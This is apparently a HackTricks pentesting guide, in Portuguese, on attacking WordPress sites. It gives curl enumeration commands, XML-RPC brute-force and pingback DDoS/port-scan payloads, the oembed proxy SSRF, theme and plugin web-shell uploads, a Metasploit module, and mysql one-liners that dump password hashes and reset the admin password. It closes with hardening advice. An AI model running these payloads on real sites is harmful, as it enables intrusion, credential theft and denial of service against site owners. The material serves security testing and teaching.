# Wordpress {% hint style="success" %} Aprenda e pratique AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprenda e pratique GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %}
\ Use [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=wordpress) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas** comunitárias **mais avançadas** do mundo.\ Acesse hoje: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %} ## Informações Básicas **Arquivos** enviados vão para: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`\ **Os arquivos de temas podem ser encontrados em /wp-content/themes/,** então se você alterar algum php do tema para obter RCE, provavelmente usará esse caminho. Por exemplo: Usando **o tema twentytwelve** você pode **acessar** o arquivo **404.php** em: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\ **Outra URL útil pode ser:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) No **wp-config.php** você pode encontrar a senha root do banco de dados. Caminhos de login padrão para verificar: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ ### **Arquivos Principais do WordPress** * `index.php` * `license.txt` contém informações úteis, como a versão do WordPress instalada. * `wp-activate.php` é usado para o processo de ativação por e-mail ao configurar um novo site WordPress. * Pastas de login (podem ser renomeadas para ocultá-las): * `/wp-admin/login.php` * `/wp-admin/wp-login.php` * `/login.php` * `/wp-login.php` * `xmlrpc.php` é um arquivo que representa um recurso do WordPress que permite que dados sejam transmitidos com HTTP atuando como o mecanismo de transporte e XML como o mecanismo de codificação. Esse tipo de comunicação foi substituído pela [REST API](https://developer.wordpress.org/rest-api/reference) do WordPress. * A pasta `wp-content` é o diretório principal onde plugins e temas são armazenados. * `wp-content/uploads/` é o diretório onde quaisquer arquivos enviados para a plataforma são armazenados. * `wp-includes/` Este é o diretório onde arquivos principais são armazenados, como certificados, fontes, arquivos JavaScript e widgets. * `wp-sitemap.xml` Nas versões do WordPress 5.5 e superiores, o WordPress gera um arquivo XML de sitemap com todas as postagens públicas e tipos de postagens e taxonomias publicamente consultáveis. **Pós-exploração** * O arquivo `wp-config.php` contém informações necessárias para o WordPress se conectar ao banco de dados, como o nome do banco de dados, host do banco de dados, nome de usuário e senha, chaves de autenticação e sais, e o prefixo da tabela do banco de dados. Este arquivo de configuração também pode ser usado para ativar o modo DEBUG, que pode ser útil na solução de problemas. ### Permissões de Usuários * **Administrador** * **Editor**: Publica e gerencia suas postagens e as de outros * **Autor**: Publica e gerencia suas próprias postagens * **Contribuidor**: Escreve e gerencia suas postagens, mas não pode publicá-las * **Assinante**: Navega pelas postagens e edita seu perfil ## **Enumeração Passiva** ### **Obter versão do WordPress** Verifique se você pode encontrar os arquivos `/license.txt` ou `/readme.html` Dentro do **código-fonte** da página (exemplo de [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): * grep ```bash curl https://victim.com/ | grep 'content="WordPress' ``` * `meta name` ![](<../../.gitbook/assets/image (1111).png>) * Arquivos de link CSS ![](<../../.gitbook/assets/image (533).png>) * Arquivos JavaScript ![](<../../.gitbook/assets/image (524).png>) ### Obter Plugins {% code overflow="wrap" %} ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` ### Obter Temas {% code overflow="wrap" %} ```bash curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` {% endcode %} ### Extrair versões em geral {% code overflow="wrap" %} ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` {% endcode %}
\ Use [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=wordpress) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas** comunitárias **mais avançadas** do mundo.\ Obtenha Acesso Hoje: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %} ## Enumeração ativa ### Plugins e Temas Você provavelmente não conseguirá encontrar todos os Plugins e Temas possíveis. Para descobrir todos eles, você precisará **forçar ativamente uma lista de Plugins e Temas** (esperançosamente para nós, existem ferramentas automatizadas que contêm essas listas). ### Usuários **ID Brute** Você obtém usuários válidos de um site WordPress forçando IDs de usuários: ``` curl -s -I -X GET http://blog.example.com/?author=1 ``` Se as respostas forem **200** ou **30X**, isso significa que o id é **válido**. Se a resposta for **400**, então o id é **inválido**. **wp-json** Você também pode tentar obter informações sobre os usuários consultando: ``` curl http://blog.example.com/wp-json/wp/v2/users ``` Outro endpoint `/wp-json/` que pode revelar algumas informações sobre os usuários é: ``` curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` Note que este endpoint expõe apenas usuários que fizeram uma postagem. **Apenas informações sobre os usuários que têm esse recurso ativado serão fornecidas**. Também note que **/wp-json/wp/v2/pages** pode vazar endereços IP. #### Enumeração de nomes de usuário de login Ao fazer login em **`/wp-login.php`**, a **mensagem** é **diferente** se o **nome de usuário existe ou não**. ### XML-RPC Se `xml-rpc.php` estiver ativo, você pode realizar um ataque de força bruta de credenciais ou usá-lo para lançar ataques DoS a outros recursos. (Você pode automatizar esse processo [usando isso](https://github.com/relarizky/wpxploit) por exemplo). Para ver se está ativo, tente acessar _**/xmlrpc.php**_ e envie esta solicitação: **Verificar** ```markup system.listMethods ``` ![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656) **Força Bruta de Credenciais** **`wp.getUserBlogs`**, **`wp.getCategories`** ou **`metaWeblog.getUsersBlogs`** são alguns dos métodos que podem ser usados para forçar credenciais. Se você conseguir encontrar algum deles, pode enviar algo como: ```markup wp.getUsersBlogs admin pass ``` A mensagem _"Nome de usuário ou senha incorretos"_ dentro de uma resposta de código 200 deve aparecer se as credenciais não forem válidas. ![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) ![](<../../.gitbook/assets/image (721).png>) Usando as credenciais corretas, você pode fazer o upload de um arquivo. Na resposta, o caminho aparecerá ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) ```markup wp.uploadFile 1 username password name filename.jpg type mime/type bits ``` Também há uma **maneira mais rápida** de forçar credenciais usando **`system.multicall`**, pois você pode tentar várias credenciais na mesma solicitação:
**Bypass 2FA** Este método é destinado a programas e não a humanos, e é antigo, portanto não suporta 2FA. Então, se você tiver credenciais válidas, mas a entrada principal estiver protegida por 2FA, **você pode ser capaz de abusar do xmlrpc.php para fazer login com essas credenciais contornando 2FA**. Note que você não poderá realizar todas as ações que pode fazer através do console, mas ainda pode conseguir chegar ao RCE, como Ippsec explica em [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s) **DDoS ou varredura de portas** Se você conseguir encontrar o método _**pingback.ping**_ na lista, pode fazer o Wordpress enviar uma solicitação arbitrária para qualquer host/porta.\ Isso pode ser usado para pedir **milhares** de **sites** Wordpress para **acessar** uma **localização** (causando assim um **DDoS** nessa localização) ou você pode usá-lo para fazer o **Wordpress** **escanear** alguma **rede** interna (você pode indicar qualquer porta). ```markup pingback.ping http://: http:// ``` ![](../../.gitbook/assets/1\_JaUYIZF8ZjDGGB7ocsZC-g.png) Se você receber **faultCode** com um valor **maior** que **0** (17), isso significa que a porta está aberta. Dê uma olhada no uso de **`system.multicall`** na seção anterior para aprender como abusar desse método para causar DDoS. **DDoS** ```markup pingback.ping http://target/ http://yoursite.com/and_some_valid_blog_post_url ``` ![](<../../.gitbook/assets/image (110).png>) ### wp-cron.php DoS Este arquivo geralmente existe na raiz do site Wordpress: **`/wp-cron.php`**\ Quando este arquivo é **acessado**, uma **consulta** MySQL "**pesada**" é realizada, então pode ser usado por **atacantes** para **causar** um **DoS**.\ Além disso, por padrão, o `wp-cron.php` é chamado em cada carregamento de página (sempre que um cliente solicita qualquer página do Wordpress), o que em sites de alto tráfego pode causar problemas (DoS). É recomendado desabilitar o Wp-Cron e criar um cronjob real dentro do host que execute as ações necessárias em um intervalo regular (sem causar problemas). ### /wp-json/oembed/1.0/proxy - SSRF Tente acessar _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ e o site Wordpress pode fazer uma solicitação para você. Esta é a resposta quando não funciona: ![](<../../.gitbook/assets/image (365).png>) ### SSRF {% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %} Esta ferramenta verifica se o **methodName: pingback.ping** e para o caminho **/wp-json/oembed/1.0/proxy** e se existe, tenta explorá-los. ### Ferramentas Automáticas ```bash cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0" wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs) #You can try to bruteforce the admin user using wpscan with "-U admin" ```
\ Use [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=wordpress) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas** comunitárias **mais avançadas** do mundo.\ Obtenha Acesso Hoje: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %} ## Obtenha acesso sobrescrevendo um bit Mais do que um ataque real, isso é uma curiosidade. No CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) você poderia inverter 1 bit de qualquer arquivo wordpress. Assim, você poderia inverter a posição `5389` do arquivo `/var/www/html/wp-includes/user.php` para NOP a operação NOT (`!`). ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( ``` ## **Painel RCE** **Modificando um php do tema usado (credenciais de administrador necessárias)** Aparência → Editor de Tema → Template 404 (à direita) Altere o conteúdo para um shell php: ![](<../../.gitbook/assets/image (384).png>) Pesquise na internet como você pode acessar essa página atualizada. Neste caso, você deve acessar aqui: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) ### MSF Você pode usar: ``` use exploit/unix/webapp/wp_admin_shell_upload ``` to get a session. ## Plugin RCE ### PHP plugin Pode ser possível fazer upload de arquivos .php como um plugin.\ Crie seu backdoor em php usando, por exemplo: ![](<../../.gitbook/assets/image (183).png>) Então adicione um novo plugin: ![](<../../.gitbook/assets/image (722).png>) Faça o upload do plugin e pressione Instalar Agora: ![](<../../.gitbook/assets/image (249).png>) Clique em Procced: ![](<../../.gitbook/assets/image (70).png>) Provavelmente isso não fará nada aparentemente, mas se você for para Mídia, verá seu shell carregado: ![](<../../.gitbook/assets/image (462).png>) Acesse-o e você verá a URL para executar o reverse shell: ![](<../../.gitbook/assets/image (1006).png>) ### Upload e ativação de plugin malicioso Este método envolve a instalação de um plugin malicioso conhecido por ser vulnerável e pode ser explorado para obter um web shell. Este processo é realizado através do painel do WordPress da seguinte forma: 1. **Aquisição do Plugin**: O plugin é obtido de uma fonte como o Exploit DB como [**aqui**](https://www.exploit-db.com/exploits/36374). 2. **Instalação do Plugin**: * Navegue até o painel do WordPress, depois vá para `Painel > Plugins > Fazer Upload do Plugin`. * Faça o upload do arquivo zip do plugin baixado. 3. **Ativação do Plugin**: Uma vez que o plugin esteja instalado com sucesso, ele deve ser ativado através do painel. 4. **Exploração**: * Com o plugin "reflex-gallery" instalado e ativado, ele pode ser explorado, pois é conhecido por ser vulnerável. * O framework Metasploit fornece um exploit para essa vulnerabilidade. Carregando o módulo apropriado e executando comandos específicos, uma sessão meterpreter pode ser estabelecida, concedendo acesso não autorizado ao site. * É observado que este é apenas um dos muitos métodos para explorar um site WordPress. O conteúdo inclui auxílios visuais que retratam os passos no painel do WordPress para instalar e ativar o plugin. No entanto, é importante notar que explorar vulnerabilidades dessa maneira é ilegal e antiético sem a devida autorização. Essas informações devem ser usadas de forma responsável e apenas em um contexto legal, como pentesting com permissão explícita. **Para passos mais detalhados, confira:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) ## De XSS a RCE * [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ é um script projetado para escalar uma vulnerabilidade de **Cross-Site Scripting (XSS)** para **Remote Code Execution (RCE)** ou outras vulnerabilidades críticas no WordPress. Para mais informações, confira [**este post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Ele fornece **suporte para versões do WordPress 6.X.X, 5.X.X e 4.X.X e permite:** * _**Escalação de Privilégios:**_ Cria um usuário no WordPress. * _**(RCE) Upload de Plugin Personalizado (backdoor):**_ Faça o upload do seu plugin personalizado (backdoor) para o WordPress. * _**(RCE) Edição de Plugin Integrado:**_ Edite Plugins Integrados no WordPress. * _**(RCE) Edição de Tema Integrado:**_ Edite Temas Integrados no WordPress. * _**(Personalizado) Exploits Personalizados:**_ Exploits Personalizados para Plugins/Temas de Terceiros do WordPress. ## Pós Exploração Extraia nomes de usuários e senhas: ```bash mysql -u --password= -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;" ``` Alterar senha de administrador: ```bash mysql -u --password= -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;" ``` ## Wordpress Plugins Pentest ### Superfície de Ataque Saber como um plugin do Wordpress pode expor funcionalidades é fundamental para encontrar vulnerabilidades em sua funcionalidade. Você pode descobrir como um plugin pode expor funcionalidades nos seguintes pontos e alguns exemplos de plugins vulneráveis em [**este post do blog**](https://nowotarski.info/wordpress-nonce-authorization/). * **`wp_ajax`** Uma das maneiras que um plugin pode expor funções para uso é através de manipuladores AJAX. Estes podem conter bugs de lógica, autorização ou autenticação. Além disso, é bastante comum que essas funções baseiem tanto a autenticação quanto a autorização na existência de um nonce do Wordpress que **qualquer usuário autenticado na instância do Wordpress pode ter** (independentemente de seu papel). Estas são as funções que podem ser usadas para expor uma função em um plugin: ```php add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); ``` **O uso de `nopriv` torna o endpoint acessível a qualquer usuário (mesmo os não autenticados).** {% hint style="danger" %} Além disso, se a função estiver apenas verificando a autorização do usuário com a função `wp_verify_nonce`, essa função está apenas verificando se o usuário está logado, geralmente não está verificando o papel do usuário. Assim, usuários com privilégios baixos podem ter acesso a ações de altos privilégios. {% endhint %} * **REST API** Também é possível expor funções do WordPress registrando uma API REST usando a função `register_rest_route`: ```php register_rest_route( $this->namespace, '/get/', array( 'methods' => WP_REST_Server::READABLE, 'callback' => array($this, 'getData'), 'permission_callback' => '__return_true' ) ); ``` O `permission_callback` é uma função de retorno que verifica se um determinado usuário está autorizado a chamar o método da API. **Se a função interna `__return_true` for usada, ela simplesmente ignorará a verificação de permissões do usuário.** * **Acesso direto ao arquivo php** Claro, o Wordpress usa PHP e os arquivos dentro dos plugins são acessíveis diretamente pela web. Portanto, caso um plugin esteja expondo alguma funcionalidade vulnerável que é acionada apenas acessando o arquivo, ele será explorável por qualquer usuário. ## Proteção do WordPress ### Atualizações Regulares Certifique-se de que o WordPress, plugins e temas estejam atualizados. Também confirme que a atualização automática está habilitada em wp-config.php: ```bash define( 'WP_AUTO_UPDATE_CORE', true ); add_filter( 'auto_update_plugin', '__return_true' ); add_filter( 'auto_update_theme', '__return_true' ); ``` Also, **instale apenas plugins e temas do WordPress confiáveis**. ### Plugins de Segurança * [**Wordfence Security**](https://wordpress.org/plugins/wordfence/) * [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/) * [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/) ### **Outras Recomendações** * Remova o usuário **admin** padrão * Use **senhas fortes** e **2FA** * **Revise** periodicamente as **permissões** dos usuários * **Limite tentativas de login** para prevenir ataques de Força Bruta * Renomeie o arquivo **`wp-admin.php`** e permita acesso apenas internamente ou de certos endereços IP.
\ Use [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=wordpress) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas comunitárias mais avançadas** do mundo.\ Obtenha Acesso Hoje: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %} {% hint style="success" %} Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %}